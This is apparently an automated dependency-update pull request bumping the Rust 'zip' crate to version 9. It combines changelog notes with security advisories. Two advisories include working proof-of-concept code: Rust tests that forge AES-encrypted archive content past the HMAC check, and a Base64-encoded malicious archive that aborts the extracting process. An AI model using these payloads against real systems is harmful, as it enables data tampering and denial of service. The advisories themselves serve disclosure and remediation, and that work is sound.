  • do not set data descriptor if directory (#​973)
  • expose flags function for easier access (#​972)
  • preserve unix permission in raw_copy_file (#​956)
  • clippy warning on nightly (#​960)
  • remove extra alloc used to copy (#​938)
  • lazy allocation on error case (#​937)
  • fix data alignment (#​929)
🚜 Refactor
  • move extract to own file (#​1009)
  • cleanup permissions related code (#​961)
  • remove feature gate (#​949)
  • create ZipFileFlags to wrap flags (#​947)
  • remove unused trait (#​946)
  • access crate::format with zip::unstable::format (#​944)
  • harmonize functions to format/functions.rs (#​943)
  • rewrite make_reader() function (#​936)
  • simplify initialize_local_block (#​934)
  • move write options to write/options.rs (#​931)
  • move spec to format (#​932)
  • move Magic to format (#​930)
  • [breaking] Remove ZipFileData::extra_data_start field that is never read (#​926)
⚙️ Miscellaneous Tasks
  • Fix high-level symlink extraction logic, disable some tests in miri, and fix some typos (#​1035)
Fix
  • some permissions tests can only run on Unix (#​1000)

v8.6.0

Compare Source

🚀 Features
  • add compression not supported as enum error (#​774)
🐛 Bug Fixes
  • allow for [u8] as filename (#​775)
🚜 Refactor
  • mark ZipFlags as non-exhaustive and add test for HasZipMetadata (#​777)
  • use and simplify is_dir (#​776)

v8.5.1

Compare Source

🚜 Refactor
  • change magic finder to stack buffer (#​763)
  • simplify extra field parsing (#​764)

v8.5.0

Compare Source

🐛 Bug Fixes
  • remove zip64 comment and add zip64 extensible data sector (#​747)
🚜 Refactor
  • remove useless magic in struct (#​730)
  • change extra_field from Arc<Vec> to Arc<[u8]> (#​741)
⚙️ Miscellaneous Tasks

v8.4.0

Compare Source

🚀 Features
  • add a check for building benches (#​748)
🚜 Refactor
  • split part of read.rs for code readability (#​744)
  • remove unused allow (#​745)
⚡ Performance
  • skip BufReader for Stored files in make_reader (#​739)
⚙️ Miscellaneous Tasks
  • move pull request template to correct folder (#​749)

v8.3.1

Compare Source

🚜 Refactor
  • use AexEncryption::new (#​736)
  • update tests to add big endian miri check (#​735)
⚙️ Miscellaneous Tasks
  • cleanup repository files (#​743)

v8.3.0

Compare Source

🚀 Features
  • add must_use (#​727)
  • improve and fix extended timestamp extra field parsing (#​713)
  • add crc32 ignore option (#​710)
  • path related code in single file (#​712)
🐛 Bug Fixes
🚜 Refactor
  • refactor some imports (#​734)
  • move code to distinct file (datetime, FixedSizeBlock) (#​733)
  • move stream code to src/read/stream.rs (#​731)
  • remove zip64 extra field update (#​732)
  • improve part of the code with clippy help (#​725)
  • simplify code for unicode extra field and improve error message (#​724)
  • reorganize code (#​714)
Deps
  • avoid pulling in zeroize_derive (#​720)

v8.2.0

Compare Source

🚀 Features
  • allow custom salt (#​680)
  • Support compressing bzip2 when feature bzip2-rs is enabled, since bzip2/bzip2-sys now supports it (#​685)
  • enforce clippy in CI (#​674)
🐛 Bug Fixes
  • zip64 central header (issue 617) (#​629)
  • allow aes password as bytes (#​686)
  • handle extra field padding (#​682)
🚜 Refactor
  • Simplify 2 type conversions in src/write.rs (#​687)
⚡ Performance
  • AI tweaks for string type conversions in src/types.rs (#​670)

v8.1.0

Compare Source

🚀 Features
  • (writer) Allow getting underlying writer of ZipWriter (#​464)
  • add system to FileOption, so byte-for-byte identical archives can be created across platforms (#​660)
🐛 Bug Fixes
  • Bugs in extra-data length calculation in src/write.rs (#​662)

v8.0.0

Compare Source

🚀 Features
  • document zip flags as enum (#​639)
  • Migrate to Rust 2024 (#​650)
  • [breaking] Remove deprecated methods of DateTime (#​597)

v7.4.0

Compare Source

🚀 Features
  • Increase MSRV to 1.88 and update dependencies (#​626)

v7.3.0

Compare Source

🚀 Features
  • cleanup the benchmarks and Cargo.toml (#​606)
  • Add support for per-file comments (#​543)
🐛 Bug Fixes
  • Document feature unreserved and make the mapping of extra fields public (#​616)
  • Return an error if abort_file() fails when exceeding non-large-file limit (#​598)
⚙️ Miscellaneous Tasks
  • Bump version to 7.3.0 (semver checks fail if it's still 7.3.0-pre1)

v7.2.0

Compare Source

🚀 Features
  • add read_zipfile_from_stream_with_compressed_size (#​70)
  • Allow choosing bzip2 rust backend (#​329)
🐛 Bug Fixes
  • Need to include zip64 extra field in central directory (fix #​353) (#​360)
  • Fails to extract file which might or might not be malformed (#​376) (#​426)
  • (aes) Allow AES encryption while streaming (#​463)
  • Default "platform" field in zip files should be set to the local platform, rather than always "Unix" (#​470) (#​471)
🚜 Refactor
  • Define cfg_if! and cfg_if_expr! internal macros (#​438)
⚡ Performance
  • Change an assert to debug_assert when encrypting/decrypting AES, and eliminate a fallible operation (#​521)
  • eliminate a String clone per new file added to archive, and other related refactors (#​522)

v7.1.0

Compare Source

🚀 Features
  • display the underlying error in Display impl for ZipError (#​483)
  • Enable creation of ZipArchive without reparsing (#​485)
🐛 Bug Fixes
  • Return InvalidPassword rather than panic when AES key is the wrong length (#​457)
  • bench with auto zip64 comment (#​505)
  • add condition for getrandom dependency (#​504)
  • (zipcrypto) Support streaming ZipCrypto encryption, don't store entire file in memory (#​462)
🚜 Refactor
  • Clean up imports and move types (#​461)
  • Replace handwritten Ord and PartialOrd for DateTime (#​484)
⚙️ Miscellaneous Tasks
  • Lock lzma-rust2 to at least 0.15.5 (#​491)

v7.0.0

Compare Source

⚠️ Breaking Changes
  • Removed the following features: getrandom, hmac, pbkdf2, sha1, zeroize.
  • Removed lzma-static and xz-static feature flags, which were deprecated synonyms of lzma and xz. (#​405, #​425)
🚀 Features
  • (SimpleFileOptions) const DEFAULT implementation (#​474)
  • ZipWriter set_auto_large_file() method to enable large-file data descriptor when necessary (#​468)
🐛 Bug Fixes
  • print previous error when failing to search another cde (#​460)
  • cargo doc warnings (#​472)
  • Write ZIP64 data descriptors when large_file option is true (#​467)
  • Pin generic-array to an old version to work around RustCrypto/traits#2036 until next RustCrypto & aes-crypto releases (#​458)
⚙️ Miscellaneous Tasks
  • Revert version bump so that release-plz will trigger
  • expose more flate2 feature flags (#​476)
  • Next release will be 7.0.0
  • release v6.0.0 (#​442)
Deps
  • Bump lzma-rust2 to v0.15 (#​465)

v6.0.0

Compare Source

⚠️ Breaking Changes
  • Removed the following features: getrandom, hmac, pbkdf2, sha1, zeroize.
  • Removed lzma-static and xz-static feature flags, which were deprecated synonyms of lzma and xz. (#​405, #​425)
🚀 Features
  • (SimpleFileOptions) const DEFAULT implementation (#​474)
  • ZipWriter set_auto_large_file() method to enable large-file data descriptor when necessary (#​468)
🐛 Bug Fixes
  • print previous error when failing to search another cde (#​460)
  • cargo doc warnings (#​472)
  • Write ZIP64 data descriptors when large_file option is true (#​467)
  • Pin generic-array to an old version to work around RustCrypto/traits#2036 until next RustCrypto & aes-crypto releases (#​458)
⚙️ Miscellaneous Tasks
  • Revert version bump so that release-plz will trigger
  • expose more flate2 feature flags (#​476)
  • Next release will be 7.0.0
  • release v6.0.0 (#​442)
Deps
  • Bump lzma-rust2 to v0.15 (#​465)

v5.1.1

Compare Source

🐛 Bug Fixes
  • panic when reading empty extended-timestamp field (#​404) (#​422)
  • Restore original file timestamp when unzipping with chrono (#​46)
⚙️ Miscellaneous Tasks
  • Configure Amazon Q rules (#​421)

v5.1.0

Compare Source

🚀 Features
  • Add legacy shrink/reduce/implode compression (#​303)

v5.0.1

Compare Source

🐛 Bug Fixes
  • AES metadata was not copied correctly in raw copy methods, which could corrupt the copied file. (#​417)

v5.0.0

Compare Source

🚀 Features
  • Implement by_path*() methods on ZipArchive (#​382)

v4.6.1

Compare Source

🐛 Bug Fixes
  • Fixes an issue introduced by the swap from lzma-rs to liblzma (#​407)

v4.6.0

Compare Source

🚀 Features
  • Allow to read zip files with unsupported extended timestamps (#​400)
🐛 Bug Fixes
  • enable clamp_opt for ppmd and xz (#​401)

v4.5.0

Compare Source

🚀 Features
  • Allow reading ZIP files where the central directory comes before the files (#​384) (#​396)

v4.4.0

Compare Source

🚀 Features
  • Add lzma-static and xz-static features that enable liblzma/static (#​393)
⚙️ Miscellaneous Tasks
  • Move deprecated annotations to fix a Clippy warning (#​391)

v4.3.0

Compare Source

🚀 Features

v4.2.0

Compare Source

🚀 Features
  • Write ZIP file to stream (#​246)

v4.1.0

Compare Source

🚀 Features
  • Add has_overlapping_files method

v4.0.0

Compare Source

🐛 Bug Fixes
  • Allow extraction of Zip64 where "Version needed to extract" is higher than "Version made by" (#​356)
⚙️ Miscellaneous Tasks
  • Revert nt-time upgrade (would increase MSRV)
  • Revert constant_time_eq update (would increase MSRV)
  • Update fully-qualified names of liblzma imports

v3.0.0

Compare Source

🐛 Bug Fixes
  • return correct offset in SeekableTake::seek (#​342)
  • When only zopfli is available, decompression of deflate should not be possible (#​348)
  • Specify flate2 dependency of the deflate-flate2 feature. (#​345)
⚙️ Miscellaneous Tasks
  • drop unused crossbeam-utils dependency (#​339)
  • remove deflate-flate2 dependency on specific backend
  • [breaking] Drop deprecated deflate-miniz feature flag (#​351)

Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • Between 05:00 AM and 11:59 PM (* 5-23 * * *)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [zip](https://github.com/zip-rs/zip2) | dev-dependencies | major | `2` → `9` | --- ### zip: AES Entry HMAC Authentication Bypass on Premature EOF [CVE-2026-115906](https://nvd.nist.gov/vuln/detail/CVE-2026-115906) / [GHSA-8hxf-qr8p-62x4](https://github.com/advisories/GHSA-8hxf-qr8p-62x4) / [RUSTSEC-2026-0545](https://rustsec.org/advisories/RUSTSEC-2026-0545.html) <details> <summary>More information</summary> #### Details ##### Summary An AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error. ##### Details [`src/aes.rs:246-292`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L246-L292): ```rust fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> { if self.data_remaining == 0 { // @audit insufficient check return Ok(0); } // get the number of bytes to read, compare as u64 to make sure we can read more than // 2^32 bytes even on 32 bit systems. let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize; let read = self.reader.read(&mut buf[0..bytes_to_read])?; self.data_remaining -= read as u64; // Update the hmac with the encrypted data self.hmac.update(&buf[0..read]); // decrypt the data self.cipher.crypt_in_place(&mut buf[0..read]); // if there is no data left to read, check the integrity of the data if self.data_remaining == 0 { debug_assert!( !self.finalized, "Tried to use an already finalized HMAC. This is a bug!" ); if self.finalized { return Err(Error::new( ErrorKind::InvalidData, "Tried to use an already finalized HMAC", )); } self.finalized = true; // Zip uses HMAC-Sha1-80, which only uses the first half of the hash // see https://www.winzip.com/win/en/aes_info.html#auth-faq let mut read_auth_code = [0; AUTH_CODE_LENGTH]; self.reader.read_exact(&mut read_auth_code)?; let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH]; // use constant time comparison to mitigate timing attacks if !constant_time_eq(computed_auth_code, &read_auth_code) { return Err(Error::new( ErrorKind::InvalidData, "Invalid authentication code, this could be due to an invalid password or errors in the data", )); } } Ok(read) } ``` `data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` ([`src/aes.rs:144-145`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L144-L145)), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` ([`src/types.rs:214-223`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/types.rs#L214-L223)), and `make_crypto_reader()` passes the declared value into `AesReader::new()` ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L219-L223)). When the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file. This defeats the guarantee the type documents: *"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed."* AE-2 entries skip the CRC-32 check by design ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L248-L255) → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected. ##### PoC `tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = "https://github.com/zip-rs/zip2", rev = "6f09b3064ec87c3a69ea9f3413f9f9638b4aa446" }`, or `zip = "8.6.0"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit. ```rust use std::io::{Cursor, Read, Write}; use zip::write::SimpleFileOptions; use zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter}; const PASSWORD: &str = "correct horse battery staple"; const GENUINE: &[u8] = b"balance: 100 USD\n"; const FORGED: &[u8] = b"balance: 999 USD\n"; const AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag fn genuine_archive(plaintext: &[u8]) -> Vec<u8> { let mut w = ZipWriter::new(Cursor::new(Vec::new())); let opts = SimpleFileOptions::default() .compression_method(CompressionMethod::Stored) .with_aes_encryption(AesMode::Aes256, PASSWORD); w.start_file("secret.txt", opts).unwrap(); w.write_all(plaintext).unwrap(); w.finish().unwrap().into_inner() } /// What a victim does: open with the correct password and read the entry. fn victim_reads(archive: &[u8]) -> std::io::Result<Vec<u8>> { let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap(); let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap(); let mut out = Vec::new(); f.read_to_end(&mut out)?; Ok(out) } fn u16le(b: &[u8], off: usize) -> usize { u16::from_le_bytes([b[off], b[off + 1]]) as usize } /// Payload offset of the single local file header at offset 0. fn payload_start(a: &[u8]) -> usize { 30 + u16le(a, 26) + u16le(a, 28) } /// Control: on a well-formed archive the HMAC does reject forged ciphertext. #[test] fn tampering_is_detected_when_the_declared_size_is_honest() { let mut a = genuine_archive(GENUINE); let ct = payload_start(&a) + 18; for i in 0..GENUINE.len() { a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable } let err = victim_reads(&a).unwrap_err(); assert!(err.to_string().contains("Invalid authentication code")); } /// The bypass: chosen plaintext is delivered verbatim, without the password. #[test] fn hmac_is_bypassed_when_the_entry_ends_early() { let genuine = genuine_archive(GENUINE); let hdr_len = payload_start(&genuine); let eocd = genuine.len() - 22; // no archive comment yet let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize; // Park a second copy of the entry after the end-of-central-directory record, // inside the archive comment, so its data ends at true EOF. Header, salt and // password verifier are copied verbatim — no password knowledge is required. let mut evil = genuine.clone(); let new_hdr_offset = evil.len() as u32; evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier for i in 0..GENUINE.len() { // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted. evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]); } let comment_len = (evil.len() - genuine.len()) as u16; evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes()); // Repoint the central directory at the parked copy and declare more data than // is present, so `data_remaining` can never reach zero. let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32; evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes()); evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes()); let hdr2 = new_hdr_offset as usize; evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes()); let content = victim_reads(&evil).expect("BUG: unauthenticated content was accepted"); assert_eq!(content, FORGED); } /// Second path: an entry with no payload bytes is never authenticated at all. #[test] fn hmac_is_never_checked_for_a_zero_length_entry() { let mut a = genuine_archive(b""); let tag = payload_start(&a) + 18; a[tag] ^= 0xff; // corrupt the 10-byte authentication code let content = victim_reads(&a).expect("BUG: a corrupt authentication code was accepted"); assert!(content.is_empty()); } ``` Turning the genuine plaintext into a *chosen* plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content. ##### Impact Any application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide. ##### Suggested remediation 1. In `AesReaderValid::read()`, treat a short inner read as an error rather than a clean EOF: after the decrement, if `read == 0 && self.data_remaining > 0`, return `ErrorKind::UnexpectedEof`. 2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when `data_length == 0`. 3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in `ZipFileData::find_content()` / `find_content_seek()` (`src/types.rs`). Also make the `compressed_size - overhead` subtraction in `AesReader::new()` (`src/aes.rs:144`) checked — today a declared size below the AES overhead underflows it, which panics under `overflow-checks` and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N` #### References - [https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4](https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-115906](https://nvd.nist.gov/vuln/detail/CVE-2026-115906) - [https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216](https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216) - [https://github.com/zip-rs/zip2](https://github.com/zip-rs/zip2) - [https://github.com/zip-rs/zip2/releases/tag/v9.0.0](https://github.com/zip-rs/zip2/releases/tag/v9.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8hxf-qr8p-62x4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction [CVE-2026-115909](https://nvd.nist.gov/vuln/detail/CVE-2026-115909) / [GHSA-q7v9-x93c-xqv3](https://github.com/advisories/GHSA-q7v9-x93c-xqv3) / [RUSTSEC-2026-0429](https://rustsec.org/advisories/RUSTSEC-2026-0429.html) <details> <summary>More information</summary> #### Details ##### Summary The symbolic-link branch of `ZipArchive::extract_internal()` allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with `SIGABRT` through this infallible allocation. ##### Details ```rust #[cfg(any(unix, windows))] if file.is_symlink() { let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation file.read_to_end(&mut target)?; drop(file); make_symlink(&outpath, &target, &self.shared.files)?; continue; } ``` [`src/read/mod.rs#L399-L405`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L399-L405) (reviewed commit `6f09b306`); the same code is at [`src/read.rs#L417-L418`](https://github.com/zip-rs/zip2/blob/v8.6.0/src/read.rs#L417-L418) in released v8.6.0. Both inputs are attacker-controlled: - [`ZipFile::size()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L243-L246) returns `uncompressed_size` verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full `u64` ([`src/read/mod.rs#L619-L625`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L619-L625)). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target. - [`ZipFile::is_symlink()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L256-L260) is decided entirely by the central directory's external-attributes field, via the `S_IFLNK` bit. **Memory allocation failure → uncatchable process abort.** The reservation is sized from the declared `uncompressed_size` before a single byte of the entry is read. `Vec::with_capacity()` is infallible: on allocator refusal it calls `handle_alloc_error()`, which aborts the process. This is not a Rust panic — it is not caught by `catch_unwind()`, is unaffected by `panic = "unwind"`, and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134. The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly `2^38` upward abort reliably. Sizes at or above `2^63` instead trip `Vec`'s internal capacity check and produce a *catchable* `capacity overflow` panic, so an attacker simply avoids that band. The reproducer declares `2^62`, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a `ulimit -v` cap or a memory-constrained container the threshold drops far enough that a plain 32-bit `uncompressed_size` with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect. This is process termination, not memory exhaustion: `Vec::with_capacity()` only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read. ##### PoC The reproducer consists of the following `zip` harness and payload. It requires only the `zip` crate; use a standard Base64 decoder to materialise the archive before running it. ```toml [package] name = "zip-poc" version = "0.1.0" edition = "2021" [dependencies] zip = "8.6.0" ``` ```rust use std::{env, fs::File, io::BufReader}; fn main() { let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>"); let outdir = std::env::temp_dir().join("zip-poc"); std::fs::create_dir_all(&outdir).unwrap(); let file = File::open(archive_path).unwrap(); let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap(); let r = archive.extract(&outdir); // <-- process dies here println!("SURVIVED: {:?}", r); } ``` Save the Base64 payload below as `archive.b64`, remove its whitespace, decode it with a standard Base64 decoder (for example, `base64 -d archive.b64 > archive.zip` on Linux), and run `cargo run --release -- archive.zip`. **Uncatchable abort — 112 bytes.** One `Stored` entry named `a`; external attributes `0xA1FF0000` (`S_IFLNK|0777`); ZIP64 extra field declaring `uncompressed_size = 2^62`; zero-byte payload. sha256 `0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676`. ``` UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP// //8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA== ``` Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0: ``` entries=1 memory allocation of 4611686018427387904 bytes failed Aborted (core dumped) # exit 134 ``` The `SURVIVED` line never prints. Wrapping `extract()` in `catch_unwind` inside a spawned thread with `panic = "unwind"` produces the identical outcome. ##### Impact Applications running on Unix or Windows targets that call `ZipArchive::extract()` on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with `catch_unwind`, a worker thread, or a pre-flight metadata check. Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption. ##### Suggested remediation Before allocating, compare `file.size()` with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace `Vec::with_capacity()` with fallible `try_reserve()` and return an I/O error when allocation fails. Do not use Linux's `PATH_MAX` as a cross-platform contract. Apply the allocation fix to `src/read/stream.rs` as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes. For reference, the crate already applies exactly this defence to another untrusted size on the same path: `ZipArchive::new()` clamps a suspicious `number_of_files` to zero and explicitly rejects an oversized central directory before reserving ([`src/read/zip_archive.rs#L185-L202`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zip_archive.rs#L185-L202)). The symlink branch received neither guard. A survey of `Vec::with_capacity` across `src/` finds exactly two sites sized from untrusted input: `src/read/mod.rs:401` and `src/read/stream.rs:73`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3](https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3) - [https://nvd.nist.gov/vuln/detail/CVE-2026-115909](https://nvd.nist.gov/vuln/detail/CVE-2026-115909) - [https://github.com/zip-rs/zip2/pull/984](https://github.com/zip-rs/zip2/pull/984) - [https://github.com/zip-rs/zip2/commit/a543a1fc8f3f3eef36f27bb137230295284cdb98](https://github.com/zip-rs/zip2/commit/a543a1fc8f3f3eef36f27bb137230295284cdb98) - [https://github.com/zip-rs/zip2](https://github.com/zip-rs/zip2) - [https://github.com/zip-rs/zip2/releases/tag/v9.0.0](https://github.com/zip-rs/zip2/releases/tag/v9.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q7v9-x93c-xqv3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation [GHSA-vv5m-jxxh-4627](https://github.com/advisories/GHSA-vv5m-jxxh-4627) / [RUSTSEC-2026-0367](https://rustsec.org/advisories/RUSTSEC-2026-0367.html) <details> <summary>More information</summary> #### Details The `zip` crate preserves privileged Unix permission bits (SUID, SGID, and sticky bits) from ZIP `external_attributes` during extraction, instead of masking them to safe permission bits. If a privileged process (for example, `root` in an installer, CI/CD pipeline, or container build) extracts an attacker-controlled ZIP archive using `ZipArchive::extract()` or the stream extraction API, files can be created as setuid-root or setgid. This behavior allows the creation of SUID/SGID files during extraction, which can lead to local privilege escalation depending on the execution environment. For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-vv5m-jxxh-4627 #### Severity - CVSS Score: 7.3 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H` #### References - [https://crates.io/crates/zip](https://crates.io/crates/zip) - [https://rustsec.org/advisories/RUSTSEC-2026-0367.html](https://rustsec.org/advisories/RUSTSEC-2026-0367.html) This data is provided by [OSV](https://osv.dev/vulnerability/RUSTSEC-2026-0367) and the [Rust Advisory Database](https://github.com/RustSec/advisory-db) ([CC0 1.0](https://github.com/rustsec/advisory-db/blob/main/LICENSE.txt)). </details> --- ### zip: `ZipArchive::extract` creates symbolic links whose attacker-controlled targets are outside the destination directory [GHSA-4v9h-p7m9-rh26](https://github.com/advisories/GHSA-4v9h-p7m9-rh26) / [RUSTSEC-2026-0368](https://rustsec.org/advisories/RUSTSEC-2026-0368.html) <details> <summary>More information</summary> #### Details In `zip` 9.0.0-pre2, `ZipArchive::extract` creates a symbolic link from an archive entry after validating only the output entry path. The link target bytes are passed directly to the platform symlink API, so a malicious archive can create an entry inside the destination that resolves to an attacker-chosen path outside it. This behavior was verified on macOS and Linux. On either platform, a subsequent application read or write through that extracted entry accesses the external target with the extracting process's permissions. For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-4v9h-p7m9-rh26 #### Severity Unknown #### References - [https://crates.io/crates/zip](https://crates.io/crates/zip) - [https://rustsec.org/advisories/RUSTSEC-2026-0368.html](https://rustsec.org/advisories/RUSTSEC-2026-0368.html) This data is provided by [OSV](https://osv.dev/vulnerability/RUSTSEC-2026-0368) and the [Rust Advisory Database](https://github.com/RustSec/advisory-db) ([CC0 1.0](https://github.com/rustsec/advisory-db/blob/main/LICENSE.txt)). </details> --- ### ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the target [GHSA-4684-h2q9-2vcp](https://github.com/advisories/GHSA-4684-h2q9-2vcp) / [RUSTSEC-2026-0369](https://rustsec.org/advisories/RUSTSEC-2026-0369.html) <details> <summary>More information</summary> #### Details `ZipStreamReader::extract()` applies Unix permissions through extracted symlinks without validating the symlink target stays within the destination For further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-4684-h2q9-2vcp #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` #### References - 